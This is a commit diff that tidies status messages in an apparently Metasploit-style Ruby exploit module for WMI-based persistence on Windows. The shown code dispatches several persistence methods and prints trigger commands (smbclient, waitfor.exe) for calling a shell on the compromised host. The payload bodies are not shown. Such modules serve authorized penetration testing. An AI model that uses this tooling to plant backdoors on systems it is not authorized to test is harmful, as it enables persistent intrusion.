Skip to content

Commit 994f006

Browse files
committed
tidy module output
1 parent bc8de0f commit 994f006

File tree

1 file changed

+5
-2
lines changed

1 file changed

+5
-2
lines changed

modules/exploits/windows/local/wmi_persistence.rb

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -91,6 +91,9 @@ def exploit
9191
return
9292
end
9393

94+
host = session.session_host
95+
print_status('Installing Persistence...')
96+
9497
case datastore['PERSISTENCE_METHOD']
9598
when 'LOGON'
9699
psh_exec(subscription_logon)
@@ -102,15 +105,15 @@ def exploit
102105
remove_persistence
103106
when 'EVENT'
104107
psh_exec(subscription_event)
105-
print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\<target_ip>\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>\""
108+
print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>\""
106109
remove_persistence
107110
when 'PROCESS'
108111
psh_exec(subscription_process)
109112
print_good "Persistence installed!"
110113
remove_persistence
111114
when 'WAITFOR'
112115
psh_exec(subscription_waitfor)
113-
print_good "Persistence installed! Call a shell using \"waitfor.exe /S <target_ip> /SI "+datastore['WAITFOR_TRIGGER']+"\""
116+
print_good "Persistence installed! Call a shell using \"waitfor.exe /S #{host} /SI "+datastore['WAITFOR_TRIGGER']+"\""
114117
remove_persistence
115118
end
116119
end

0 commit comments

Comments
 (0)